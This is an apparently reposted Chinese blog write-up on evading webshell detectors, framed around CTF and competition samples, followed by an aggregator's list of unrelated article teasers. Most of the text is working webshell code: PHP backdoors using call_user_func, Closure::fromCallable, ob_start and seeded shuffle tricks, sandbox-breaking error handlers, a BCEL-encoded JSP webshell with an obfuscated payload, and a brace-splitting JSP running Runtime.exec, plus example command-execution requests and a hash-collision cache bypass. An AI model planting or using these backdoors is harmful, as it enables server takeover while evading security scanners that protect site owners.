网络安全-webshell绕过,hash碰撞,webshell绕过原理

目录

一、题目

1.1

1.2 

1.3

1.4

1.5

二、绕过动态检测引擎的一次尝试

三、一个比赛中的webshell

四、webshell绕过的原理以及哈希碰撞

五、JSP解释流程导致的绕过(QT比赛)

5.1环境

5.2例子


一、题目

这里我们通过几道题目来给大家讲解

1.1

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func($action, ...$parameters);

我这里找了几个市面上免费的查杀webshell的软件如安全狗和河马我们先来看看安全狗下面

 

看看河马

当然,这只是两款免费的webshell查杀工具,当前我们算是绕过了,但如果是花钱买的,这个动态传参多半是可以监控到的,因为用户可以控制,至少免费的绕过了,如何去利用呢,call_user_func老朋友了,回调函数

首先我们看代码里面没有关键词,没有eval,assert这样的函数,首先代码call_user_func后面的...代表接收不定项参数跟我们之前的usort一样,在我之前的文章中有提到过,变长参数

那知道这个点后,我们可以直接变长参数调用,很明显躲过了webshell的查杀,究其原因就是action是system而,...$parameters是接收所有get参数

1.2 

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

和之前的webshell不太一样多了一个($_POST['a'])和($_POST['b']),那这个代码怎么利用呢

看看字典,这个又和我们现在这个有什么关系

我们来看看current这个函数,返回当前数组当前值

那我们先这样传值看会报什么错,说少一个参数

 打印一下,很明显current打印出来实际上是一个数组

 那既然这样我们怎么去处理呢,这个是非常巧妙的current是返回当前数组的元素,也就是当前数组的值current,此时它就从current重新变成了current($_POST[a])($_POST[b]),变成它a是一个数组,b就是你的任意命令

除了这个解法以外还有其他解法没,将普通函数转换为闭包,其实这两个方法整体思路差不多

POST /x.php?action=Closure::fromCallable&0=Closure&1=fromCallable HTTP/1.1
Host: xa=system&b=ls

而我们也可以看到长亭的牧云webshell社区版也是无法监测出来的

1.3

<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters);if(count(glob(__DIR__.'/*'))>3){readfile('flag.txt');
}?>

底下有个flag.txt我们需要读出来,而必须文件大于3才可以读出来,那我们的目标就是创建文件

我们来看一个函数,启动或重用一个函数

 由于我们call_user_func()没有自动传值,所以我们代码自动报错了,它报错给了我们一个很关键的信息,给了我们物理路径

所以我们看起session_start并把sava_path定义成它的物理路径

 很明显多出来一个文件,那现在只有三个文件还是不行,肯定我们还想它再执行一个文件,cookie改一下不就可以做到,生成一个新的session文件

1.4

<?php
Class A{static function f(){system($_POST['a']);}
}$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}call_user_func($action, $parameters);

 我们来思考一下call_user_func可以嘛

字典说可以调用类方法下的静态方法,但是这个webshell没想到安全狗可以拦截,但是到这里如果没有waf,我们已经成功了

1.5

<?php
Class A{static function f(string $a){system($a);}
}$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}call_user_func($action, $parameters);
echo $_POST['a'];

我们来看一个函数

ob_start可以接收一个回调函数,那就证明它好像跟我们的call_user_fn差不多,那么它大概率是可以接action_ob_start&0=A&1=f 

但因为其输入到缓存区了所以只可以执行命令,不能输出

二、绕过动态检测引擎的一次尝试

<?php
class xxxd implements IteratorAggregate {public $xxx = "system";public function __construct() {}public function getIterator() {return new ArrayIterator($this);}
}
$obj = new xxxd;
foreach($obj as $key => $value) {$cmd = ['banana', 'orange', ...$_GET[1], 'watermelon'];call_user_func($value,$cmd[2]);exit();
}

首先看接口好像是一个迭代器

我们来看一下key和value在循环什么

 

很明显是把类里面所有的变量来进行了一个循环 

我们看一下类可以打印出来嘛

我们可以看到它循环的只是我们里面的类变量

 那既然如此,这道题的思路我们就有了,我们传值只需要传一个因为$vaule为system已经搞定了

但我们发现这样传值并不能搞定,因为那...其实是一个数组

?1[]=dir

 之后我在思考为什么这样可以绕过去,对上⾯样本分析发现不加参数直接访问这个代码会爆出错误,因此我猜测可能在动态检测的时候由于⽆法知道参数的值,动态执⾏的时候也会爆出此错误,导致代码 不能执⾏下去,so如果我们可以找到其他的⽅法,通过传⼊参数的差异来打断动态执⾏,应该就可以绕 过,我的思路是通过过set_error_handler捕获warrning抛出致命错误

<?php
set_error_handler(function ($error_no, $error_msg, $error_file,
$error_line) {trigger_error("xxxxxx",E_USER_ERROR);
}, E_WARNING | E_STRICT);
function xxxe(){$gen = (function() {yield 1;yield $_GET[1];return 3;})();foreach ($gen as $val) {echo 1/$_GET['x'];array_reduce(array(1),join(array_diff(["sys","tem"],[])),
($val));
header_register_callback('xxxe');
}
}

报错捕获

 %那假如说我不给x提交一个错误的值,提交一个对的,很明显我已经执行了

这样的话只有完全输⼊正确的参数才可以执⾏webshell,因为动态引擎不知道它

但是我们要是不要

set_error_handler(function ($error_no, $error_msg, $error_file,
$error_line) {trigger_error("xxxxxx",E_USER_ERROR);
}, E_WARNING | E_STRICT);

 90%会被webshell查杀,因为我们需要抛异常,一报错就会中断

三、一个比赛中的webshell

<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

三句话的webshell绕过

 洗牌函数

50%的成功几率,绕过原理:通过 shuffle 函数打乱只有两个元素的数组,打乱后的两种情况出现的概率是“等可能”的,因此我们有 50%的概率可以执⾏ system 函数。

那这个样本如何改进呢

洗牌操作在现实⽣活中是随机的,但是在PHP中 shuffle 函数并⾮真正意义上的随机,⽽是伪随机。我们可以“预 测”PHP中随机数的产⽣,那么我们是否能够控制 shuffle 函数打乱后的数组元素的顺序呢?答案是肯定的 

通过阅读PHP源码中 php_array_data_shuffle 函数,不难发现 shuffle 函数依赖于 php_mt_rand_range ,因 此我们可以通过控制 mt_srand 随机数⽣成器播种值来控制 shuffle 函数打乱后数组元素的顺序

举个例子

 随机数不变了因为我们把种子给定下了

那就证明我们的种子只要定下来,那就不会变了

<?php
$arr = array("t", "n1k0la", "webdxg", "system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);

 

四、webshell绕过的原理以及哈希碰撞

举个例子

我这个文件index.jsp会被分拣到那个引擎呢???

<?php phpinfo();

一般我们是通过文件的后缀来进行分拣的,所有肯定分拣到java下,所以非常的安全,但是不会报读毒,但是监测缓存会把这个文件到缓存上面去,缓存的是我们文件的md5值,那这就好办了,我下次写个web.php,监测md5值一样,上次监测没问题,那这次肯定直接放行,那这样可能吗?

做个实验吧

很明显完全一模一样,这是因为md5值监测是内容,所以这样可以进行绕过的

那么,如果开发者意识到这个问题,在计算文件缓存的时候带上文件名(比如 cache_key = filename + md5(content) ),这样更换后缀就无法命中缓存了,我们如何绕过呢?

这就是第二个思路,利用哈希碰撞。

这是很容易想到的思路,既然缓存key会包含文件名和文件hash,那么我们只需要生成一个正常文件和 一个webshell,两个文件的hash完全相同,再让他们文件名相同,这样就可以命中同一个缓存了。 

如何生成两个hash相同的文件? 可以参考下这个repo:https://github.com/corkami/collisions。哈希碰撞分为两种方法,Identical prefix和Chosen-prefix collisions,前者是使用同一个前缀,然后通过特定的算法爆破出两个前缀相 同,哈希也完全相同的文件;后者是使用两个不同前缀,通过特定算法爆破出分别使用了这两个前缀的 两个哈希相同的文件。

Identical prefix的速度相对较快,可以做到分钟级或秒级,但在我们这里是用不了的,因为我们需要控 制两个文件中其中一个文件包含我们需要的字符串(Webshell),另一个不能包含。而Identical prefix 的前缀是相同的,后面不同的部分又是爆破出来的,无法控制。 Chosen-prefix collisions满足我们的需求,我们可以给一个Webshell前缀,一个普通字符串前缀,然后 来爆破哈希。但这个方法速度会慢很多,实测6核12线程的CPU全速跑了6个多小时才跑出结果。当然这 个时间是可以接受的。

这个理论在gethub上面也有,这也是中国密码学顶尖教授王小云研究的成功

https://github.com/phith0n/collision-webshell

意思你前缀的第十个字符会变化

我们来进行小实验复现,但这个跑起来比较慢,大概五分钟左右,看你电脑性能

五、JSP解释流程导致的绕过(QT比赛)

5.1环境

配置完毕

5.2例子

这是一个典型的jsp后门 

<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
%>
</body>
</html>
</html>

而我们需要分析的是另一个jsp的后门,这个代码一看大括号闭合都有问题,引擎无法解析肯定就不会拦截,那它可以运行吗?我们要达到的就是差异化绕过,引擎认为不能执行,但是我们可以执行

<%--Created by IntelliJ IDEA.User: 31315Date: 2024/9/21Time: 18:02To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%String data = request.getParameter("test");hack(data);} catch (java.lang.Throwable t) {} finally { _jspxFactory.releasePageContext(_jspx_page_context); }public void hack(String data) throws java.io.IOException, javax.servlet.ServletException {javax.servlet.jsp.JspWriter out = null;javax.servlet.jsp.JspWriter _jspx_out = null;javax.servlet.jsp.PageContext _jspx_page_context = null;javax.servlet.http.HttpServletResponse response = null;try {Runtime.getRuntime().exec(data);
%>

 java中主要靠getRuntime()执行代码

我们很奇怪一件事情,明明代码中一大堆错误,运行起来却没有错误

页面没有输出我们看它有没有执行

http://127.0.0.1:8080/untitled_war/2.jsp?test=calc.exe

弹出计算机很明显执行了 

那原理是什么,这个样本是青藤云第一届webshell绕过大赛qt的一个样本,可以看到,这段代码非常奇怪,大括号不成对,try没有catch,函数又没有闭合,Java语法不满足导致 IDE直接报错。但我们将这个bad.jsp放在Tomcat Web目录下,访问却可以正常执行命令

原因就是,这段JSP代码会被拼接进一个Java源文件里。我们可以在Tomcat的临时目录 work/Catalina/localhost/webshell/org/apache/jsp 找到这个拼接出的.java文件:

 可见,我jsp中的Java代码拼接到源文件后:大括号是成对的,try后面其实有catch,函数最后也闭合 了。 我做的事情就是硬生生地将原本的一个函数拆成两个。这样在jsp中看来,我的代码是有语法问题的,它 包含一个函数的下半部分,和另一个函数的上半部分;但这段代码拼接进Java源文件后,这两半部分都 分别正确闭合了,解析不会有问题。 所以,如果一个Webshell检测引擎单纯查看并解析JSP的语法,没有考虑JSP的解析与执行过程,将会因 为解析一个“错误语法”的JSP文件而认为这个文件是安全的,但实际上它是一个Webshell。

用一张图来解释,真正出问题的地方在java file因为产生了一个拼接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/146428.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Springboot3 + MyBatis-Plus + MySql + Uniapp 实现商品规格选择sku(附带自设计数据库,最新保姆级教程)

Springboot3 MyBatis-Plus MySql Uniapp 实现商品规格选择sku&#xff08;附带自设计数据库&#xff0c;最新保姆级教程&#xff09; 1、效果展示2、数据库设计2.1 商品表2.2 商品价格和规格中间表2.3 商品规格表 3、后端代码3.1 model3.2 vo3.3 mapper、server、serverImp3…

前端-javaScript:jquery补充

jquery绑定事件的方式 1.直接使用事件函数 &("div").click(function(){alert(1)}) 2.用统一的on函数绑定事件 on(事件类型&#xff0c;事件函数) $("div").on("click",function(){alert(2)}) 事件类型以参数的类型传递 --->可以同时绑…

go webapi上传文件 部属到linux

go厉害的地方&#xff0c;linux服务器上无需安装任务依赖就可以运行&#xff0c;大赞&#xff01; 一、编译 #在Goland中cmd中执行 go env -w GOARCHamd64 go env -w GOOSlinux go build main.go # 切换回来 否则无法运行 go env -w GOOSwindows go run main.go 拷贝到linux服…

C++——关联式容器(4):set和map

在接触了诸如二叉搜索树、AVL树、红黑树的树形结构之后&#xff0c;我们对树的结构有了大致的了解&#xff0c;现在引入真正的关联式容器。 首先&#xff0c;先明确了关联式容器的概念。我们之前所接触到的如vector、list等容器&#xff0c;我们知道他们实际上都是线性的数据结…

使用pe工具制作ubuntu备份系统和还原系统

使用pe工具制作ubuntu备份系统和还原系统 备份系统还原系统修复磁盘教程修复引导教程为什么使用pe工具 1,因为我个人觉得这个工具实现起来比systemback软件操作起来报错少些,而且装的快,其他系统同理 实验准备 1,一个电脑,一个pe启动U盘 备份系统 插入U盘,开机进入pe系…

[JavaEE] UDP协议

目录 再谈端口号 一、端口号的划分 二、UDP协议 三、UDP的特点 再谈端口号 一、端口号的划分 0-1023&#xff1a;知名端口号&#xff0c;端口号固定&#xff0c;其中包括HTTP&#xff0c;FTP&#xff0c;SSH等广为使用的应用层协议。 1024-65535&#xff1a;操作系统动态分…

数据结构|二叉搜索树

&#x1f36c; mooridy-CSDN博客 &#x1f36c;数据结构专栏&#xff08;更新中&#xff09; 目录 1. ⼆叉搜索树的概念 2. ⼆叉搜索树的性能分析 3.⼆叉搜索树key和key/value key搜索场景 key/value搜索场景 4. 二叉搜索树的代码实现 4.1 ⼆叉搜索树的插⼊ 4.2 ⼆叉搜索…

java----LinkedHashMap

.由键决定:有序、不重复、无索引 .这里的有序指的是保证存储和去除的元素顺序一致 原理:底层数据结构依然是哈希表,只是每个键值对元素又额外多了一个双链表的机制记录存储的顺序。 内容来自:集合进阶-09-LinkedHashMap_哔哩哔哩_bilibili

ChatGPT 在国内使用的方法

AI如今很强大&#xff0c;聊聊天、写论文、搞翻译、写代码、写文案、审合同等等&#xff0c;ChatGPT 真是无所不能~ 作为一款出色的大语言模型&#xff0c;ChatGPT 实现了人类般的对话交流&#xff0c;最主要是能根据上下文进行互动。 接下来&#xff0c;我将介绍 ChatGPT 在国…

hackmyvm靶场--zon

环境 攻击机kali 靶机 未知 主机探测 因为在同一个局域网内使用ARP协议探测存活主机 靶机为192.168.56.128 端口探测 常见的80和22端口 那么一定是寻找web漏洞拿shell了 后台扫描 后台扫描常用dirsearch和gobuster,有时候小字典可能不太行&#xff0c;可以尝试换个大点…

JAVA——数据流、序列化流

目录 一、DataOutputStream(数据输出流&#xff09; 二、DataInputStream(数据输入流&#xff09; 三、序列化流 1.1 ObjectOutputStream(对象字节输出流&#xff09; 1.2 OutputStream(对象字节输入流&#xff09; 四、补充 一、DataOutputStream(数据输出流&#xff09; …

Flutter 获取手机连接的Wifi信息

测试版本 Flutter&#xff1a;3.7.6Dart:2.19.3 network_info_plus: 4.0.1 前言 我在做设备配网的时候&#xff0c;需要选择配网的WiFi。用下拉选择框展示WiFi列表。现在有个需求&#xff1a;默认展示的设备为手机连接的wifi。要实现这个需求只要能够获取到手机连接的wifi信息…

直接插入排序(C语言实现)

目录 1.直接插入排序介绍 2.实现思路 3.动图展示 4.代码实现 &#xff08;升序&#xff09; 单趟排序实现 单趟排序代码 直接插入排序函数 5.代码测试 6.时空复杂度分析 时间复杂度O(N^2) 空间复杂度O(1) 1.直接插入排序介绍 插入排序&#xff0c;又叫直接插入排序。…

(十七)MATLAB读取Gazebo话题信息

在仿真实验过程中&#xff0c;我们有时需要实时读取ROS及Gazebo话题&#xff0c;目前互联网上关于读取ROS的话题资料较多&#xff0c;读取Gazebo话题的参考资料较少&#xff0c;本文将以Ubuntu下固定翼仿真为例&#xff0c;展示如果通过MATLAB的插件GazeboPlugin读取Gazebo话题…

MoFA: 迈向AIOS

再一次向朋友们致以中秋的祝福&#xff01; MoFA (Modular Framework for Agents)是一个独特的模块化AI智能体框架。MoFA以组合&#xff08;Composition)的逻辑和编程&#xff08;Programmable&#xff09;的方法构建AI智能体。开发者通过模版的继承、编程、定制智能体&#xf…

C++:多态(协变,override,final,纯虚函数抽象类,原理)

目录 编译时多态 函数重载 模板 运行时多态 多态的实现 实现多态的条件 协变 析构函数的重写 override 关键字 final 关键字 重载、重写、隐藏对比 纯虚函数和抽象类 多态的原理 多态是什么&#xff1f; 多态就是有多种形态 多态有两种&#xff0c;分别是编译时…

【前端学习】作用域实际问题学习记录

在复习apply&#xff0c;call&#xff0c;bind的时候遇到了一个作用域问题。 let name noName let age 18function getMyname() {console.log(my name is this.name, and I am this.age years old); }getMyname() }在全局使用let定义变量name和age之后&#xff0c;运行g…

★ C++进阶篇 ★ 二叉搜索树

Ciallo&#xff5e;(∠・ω< )⌒☆ ~ 今天&#xff0c;我将继续和大家一起学习C进阶篇第三章----二叉搜索树 ~ ❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️ 澄岚主页&#xff1a;椎名澄嵐-CSDN博客 C基础篇专栏&#xff1a;★ C基础篇 ★_椎名澄嵐的博客-CSD…

从零开始学习TinyWebServer

写在前面 项目参考&#xff1a;https://github.com/qinguoyi/TinyWebServer 写作框架/图参考&#xff1a;https://blog.csdn.net/qq_52313711/article/details/136356042?spm1001.2014.3001.5502 原本计划是&#xff0c;先将项目代码大概看一遍&#xff0c;然后再着手实现一下…

SOCKS5代理为何比HTTP代理更快?

在代理类型的选择上&#xff0c;SOCKS5代理经常被认为比HTTP代理更快&#xff0c;这是因为它们在工作原理和功能实现上存在较大的差异。让我们来探讨一下&#xff0c;为什么SOCKS5代理的速度通常比HTTP代理要快。 1. 协议的差异 SOCKS5代理&#xff1a;它是一个通用的代理协议…